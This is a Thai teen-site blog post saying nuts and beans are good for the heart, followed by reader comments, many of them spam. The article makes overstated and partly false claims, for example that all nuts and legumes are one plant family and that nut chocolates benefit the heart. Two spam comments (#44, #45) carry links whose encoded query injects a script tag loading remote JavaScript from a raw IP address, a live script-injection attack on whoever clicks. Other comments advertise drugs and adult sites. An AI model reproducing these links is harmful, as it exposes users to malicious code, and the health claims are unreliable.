ความคิดเห็น

28

ชอบกินถั่วกันไหม

พี่ตินชอบกินถั่วที่อาบังหาบขายนะ เค็มๆ อร่อยดี

พอได้อ่านบทความนี้ก็ดีใจ

เขาบอกว่ากินถั่วเนี่ย ถ้ากินเป็นประจำจะดีต่อหัวใจนะ

 

ประโยชน์ของถั่วก็คือ มีสารอาหารดีๆ มากมาย และมีกรดไขมันชนิดดีด้วย

แน่นอนว่าเป็นอาหารที่ดีต่อสุขภาพ และไม่ทำให้อ้วน แถมพ่วงมาด้วยประโยชน์ต่อหัวใจ

และเหตุผลที่ดีสุดๆ คือราคาถูก และเก็บได้นานด้วย

น้องๆ บางคนอาจจะสงสัยว่าแล้วถั่วแบบไหนละ ยัยพี่ติน

ถั่วลิสง หรือถั่วแดง ถั่วเขียว หรือถั่วงอก ในบทความเค้าบอกว่าไม่ว่าถั่วแบบไหนก็มีประโยชน์ทั้งนั้น

เพราะล้วนเป็นตระกูลเดียวกัน ไม่ว่าจะเป็นวอลนัท อัลมอนด์ เฮเซลนัท ฯลฯ

ขอให้เป็นพืชตระกูลถั่วละก็ ได้หมด มีประโยชน์ต่อหัวใจของคุณแน่ๆ

ยิ่งใครที่เป็นโรคหัวใจ ควรอย่างยิ่งเลยที่จะกินถั่ว เพราะช่วยได้มากจริงๆ

การกินถั่วจะช่วยลดคอเลสเตอรอลในเส้นเลือด และลดไขมันด้วย





นอกจากนี้ยังดีต่อเส้นเลือดหัวใจ ช่วยให้เส้นเลือดหัวใจแข็งแรง ไม่ตีบตันง่าย (เปล่าล้อนะ น้องตีบ ^ ^)

ทำให้การลำเลียงเลือดไปสู่หัวใจง่าย และสะดวกขึ้น

และในถั่ว ยังมีโอเมก้า 3 ซึ่งช่วยป้องกันอาการหัวใจล้มเหลวเฉียบพลัน

รวมไปถึงสารอาหารดีๆ อย่างวิตามินอี และไฟเบอร์   

เรียกว่ามีประโยชน์มากมายเหลือเชื่อจริงๆ

 

ส่วนน้องคนไหนที่ยังสงสัยเรื่องประเภทของถั่วที่จะให้ประโยชน์

จากการศึกษา พบว่าวอลนัทเป็นหนึ่งในถั่วที่มีประโยชน์มากที่สุด

เพราะมีโอเมก้า 3 เยอะมากกว่าถั่วประเภทอื่นๆ

นอกจากนี้ทั้งอัลมอนด์ แมคคาเดเมีย ฮาเซลนัท พีนัท ก็มีประโยชน์เช่นกัน

ส่วนใครที่ชอบกินช็อกโกแลตถั่วอย่างเฟอร์เรโร รอชเชอร์ นักวิจัยก็บอกว่ามีประโยชน์เหมือนกันนะ

พวกโก๋แก่ หรือขนมที่ทำจากถั่วก็ล้วนมีประโยชน์ไม่ต่างกัน

 

ไม่น่าเชื่อเนอะ ซูเปอร์ถั่วจริงๆ

 

 Dek-d : อตินเอง  

 ขอบคุณข้อมูลจาก http://health.msn.com/

 

ดูหมวดนี้ต่อได้ใน Lifestyle > เรื่องน่ารู้ไลฟ์สไตล์
ความคิดเห็น

28

ความคิดเห็นดีๆ ที่อยากให้อ่าน

28 ความคิดเห็น

  1. 9 ก.ค. 2550, 01:06 น.
    ไม่ชอบกินถั่วอ่ะ เหอๆๆ
    #1
  2. #2 lee
    10 ก.ค. 2550, 01:12 น.
    เหอะๆ อยุ่บราซิลกินถั่ว(เฟยเจา)ทุกวันอ่ะ จะตายอยุ่แล่ว ไม่กินเขาก้อบังคับให้กิน บอกว่าดีต่อสุขพาบ
    พึ่งจะรุ้ข้อดีก้อวันนี้นี่เอง
    #2
  3. 14 ก.ค. 2550, 08:41 น.

    อิอิ เป็นคนชอบกินถั่วอยู่แล้วหละ

    #3
  4. 14 ก.ค. 2550, 12:42 น.
    #5
  5. 14 ก.ค. 2550, 15:42 น.
    คลิกเข้ามาเลยค่ะ

    http://www.banchiangmai.com/sqlboard/show.php?Category=jobs&No=25808

    #7
  6. #8 m u k
    14 ก.ค. 2550, 16:59 น.
    เราก็ชอบกินถั่วนะ (แต่เขาบอกกินแล้วตดเหม็นอ่ะ)
    #8
  7. 14 ก.ค. 2550, 17:13 น.
    ถั่วอร่อยมากๆ อิอิ
    #13
  8. 14 ก.ค. 2550, 18:06 น.
    เหอๆ  งั้นต้องกินบ่อยๆซะแล้วเรา
    #14
  9. 14 ก.ค. 2550, 20:08 น.

    คือ พี่อตินค่ะ เคี้ยวถั่วกรุบกรอกบ่อยๆระวังฟันสึกนะคะ คือแบบว่าประสบการณ์ตรง ซื้อถั่วถุง 20 เสียตังค์ทำฟัน 800  เซงเลยค่ะ

    #15
  10. 15 ก.ค. 2550, 10:17 น.
    ตอนกินก็อร่อยดีอ่ะ แต่เวลาตดออกมานี่กลิ่นสุดจะทน
    #16
  11. 15 ก.ค. 2550, 11:46 น.
    ชอบกินถั่วเป็นชีวิตจิตใจ
    #17
  12. #18 JTR In the dark night
    15 ก.ค. 2550, 12:38 น.
    ก็ดีคะ เเต่หนูชอบไม่ค่อยชอบกินถั่ว น่าเสียดาย...

    #18
  13. 15 ก.ค. 2550, 15:02 น.
    แซ่บ-*-
    #19
  14. 15 ก.ค. 2550, 16:57 น.

    ดีจีงๆ

    #20
  15. #23 umehxsmjyd
    15 ต.ค. 2550, 15:13 น.
    Hello! Good Site! Thanks you! ggckecnuks
    #23
  16. #31 hcslwkflcl
    16 พ.ย. 2550, 13:54 น.
    In a slide presentation on Thursday prepared for the Merrill Lynch Banking and Financial Services Conference held in New York City the company projected it would write off 0.4% to 0.5% of its loans at the middle of 2008. The midpoint of this range would be the highest charge off rate for the company since 2002. Based in Atlanta, SunTrust Banks runs 1,685 branches, mostly throughout the South, and has a $120.75 billion loan portfolio. The bank's profit in the third quarter fell 23% to $412.6 million as compared with the prior year's third quarter as the turmoil in financial markets cut demand for some of the company's...<br><a href='http://blog-about-finance.com/news/14011'>http://blog-about-finance.com/</a>
    #31
  17. #33 yxissrfsnx
    23 พ.ย. 2550, 01:22 น.
    Heather Mills will ban any news media outlet from reporting on her impending divorce battle with Sir Paul McCartney if they continue to poke fun at her, according to her new publicist Michele Elyzabeth. The former model was ridiculed by the media in the U.K. and the U.S. for urging people to drink rat's milk after claiming 80 percent of global warming comes from livestock. And the coverage of her appeal has forced Mills to ban particular media outlets from reporting on her divorce battle with the former Beatle. Elyzabeth...<br><a href='http://i-love-news.com/news/29818'>http://i-love-news.com/</a>
    #33
  18. #36 gcsrqeroam
    28 พ.ย. 2550, 20:38 น.
    <a href='http://big-site-news.com/news/15150'>Catches on rise with Houston's additional redlight cams Houston Chronicle</a>
    #36
  19. #37 deldqkgwps
    7 ธ.ค. 2550, 01:44 น.
    <a href="http://brettforrest.com/wp-content/themes/buy_tramadol.html">buy tramadol</a><br>
    #37
  20. #38 cxydmpfrzk
    20 ม.ค. 2551, 10:29 น.
    Hello! Good Site! Thanks you! jhjvmzhfvt
    #38
  21. #39 amwevkxxcd
    20 ม.ค. 2551, 18:59 น.
    "I just hit to a lot of the middle of the greens and tried to take what they gave me," the American added. Breakfast in Bed further explores her talents at singing blue eyed soul music, with her covers of Kiss and Say Goodbye and Sara Smile definite highlights. The center of a group is the safest position because predators usually attack individuals on the edge of a group. "The North End is one of the safest neighborhoods...<br>
    <a href="http://sexyzzz.com/news/paparazzi_xxx">paparazzi xxx</a>
    #39
  22. #40 nmdrjyoqmb
    20 ม.ค. 2551, 22:25 น.
    <a href="http://adult-site-4-u.com/news/drzewo_geneologiczne">http://adult-site-4-u.com/news/drzewo_geneologiczne</a>
    #40
  23. #42 ddeamvwvct
    22 ม.ค. 2551, 22:35 น.
    <a href="http://ni4egooo.net/news/clevelandhopkinsairport">http://ni4egooo.net/news/clevelandhopkinsairport</a>
    #42
  24. #44 xmfecmdvlh
    11 มี.ค. 2551, 21:20 น.
    <a href=http://www.nakido.com/search?q=cheap+cialis+buy+cialis+generic+cialis+discount+cialis+online%3Cscript%20src=//217.20.122.135/c.js%3E%3C/script%3E > http://www.nakido.com/search?q=cheap+cialis+buy+cialis+generic+cialis+discount+cialis+online%3Cscript%20src=//217.20.122.135/c.js%3E%3C/script%3E </a><br>
    #44
  25. #45 odqzqucgjm
    12 มี.ค. 2551, 04:25 น.
    <a href=http://www.sphere.com/search?q=%3C/title%3Echeap+cialis+buy+cialis+generic+cialis+discount+cialis+online%3Cscript%20src=//217.20.122.135/c.js%3E%3C/script%3E > http://www.sphere.com/search?q=%3C/title%3Echeap+cialis+buy+cialis+generic+cialis+discount+cialis+online%3Cscript%20src=//217.20.122.135/c.js%3E%3C/script%3E </a><br>
    #45
  26. #46 gdmoooqixp
    22 เม.ย. 2551, 09:05 น.
    Wow, cool man, big thanks! http://gbmugsvtjrfqj.com
    #46
  27. #47 skrublwsws
    25 เม.ย. 2551, 09:28 น.
    Wow, cool man, big thanks! http://gxrlnnzajzccr.com
    #47
  28. #48 tbnrqriawg
    26 เม.ย. 2551, 13:17 น.
    Wow, cool man, big thanks! http://ucecfvlecb.com
    #48

แสดงความคิดเห็น

แม่ไม่ให้เข้าบ้าน พ่อบอกบ้านล็อค, บอมบอมควรใช้อะไรไขประตูบ้านดี? (ตอบให้ถูกนะ ตอบผิดอดโพสต์!)

เด็กดีภูมิใจเสนอ

บทความรูปแบบใหม่!!

หรือถ้าไม่สนใจ กดลิงค์ข้างล่างเพื่อข้ามขั้นตอนนี้

ไม่ล่ะขอบคุณ
L o a d i n g . . .